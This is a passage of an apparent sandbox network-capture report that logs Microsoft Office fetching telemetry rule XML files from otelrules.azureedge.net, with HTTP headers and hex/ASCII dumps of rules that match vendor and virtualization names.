T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.6	49785	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:25 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:25 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: cf25fe23-201e-0000-80af-36a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113525Z-16547b76f7fd77jrhC1DFWfwq000000000w00000000089eh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:25 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.6	49786	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:25 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:25 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:25 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: bb1a68b3-601e-0001-569b-38faeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113525Z-1866b5c5fbbvz6qbhC1DFWsyms00000003bg00000000ckhh x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:25 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.6	49787	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:25 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:25 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 7acd991b-701e-000d-31ef-376de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113525Z-164f84587bf5rpzqhC1DFWmra8000000044g00000000d2yt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:25 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.6	49788	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:25 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:26 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:26 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: da73b1ea-a01e-0070-5573-35573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113526Z-16547b76f7fkf5v9hC1DFW2y5s00000003zg00000000exp1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:26 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.6	49790	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:26 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:26 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:26 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 200f6d4e-701e-003e-2fb8-3779b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113526Z-16547b76f7fqqjnnhC1DFWxv7400000002h0000000006dt7 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:26 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.6	49789	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:26 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:26 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:26 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 6b1971c7-b01e-0053-1140-36cdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113526Z-16547b76f7ftfv4jhC1DFWuhug00000001y00000000004v2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:26 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.6	49792	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:26 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:26 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:26 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: a49129a8-d01e-008e-6b2a-36387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113526Z-164f84587bflm48hhC1DFW0nf800000001100000000041x4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:26 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.6	49791	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:26 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:26 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:26 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: c0db5769-f01e-0020-0591-37956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113526Z-164f84587bf7k72dhC1DFWvczs000000049g0000000038r5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:26 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.6	49793	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:27 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:27 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:27 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 28ec3a41-801e-00a0-70af-362196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113527Z-16547b76f7fbkfmzhC1DFWm9tw00000003tg00000000b66s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:27 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.6	49794	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:27 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:27 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:27 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 32d33ebf-401e-0048-7d9e-370409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113527Z-16547b76f7fqqjnnhC1DFWxv7400000002k0000000004vn2 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:27 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.6	49795	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:27 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:27 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:27 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 3592d30c-801e-0048-183e-38f3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113527Z-164f84587bfr8hdmhC1DFWt5nc00000002c000000000bygz x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:27 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.6	49797	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:27 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:27 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:27 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: dfb03e2b-001e-00ad-2bc4-37554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113527Z-16547b76f7ftfv4jhC1DFWuhug00000001v0000000005ka4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:27 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 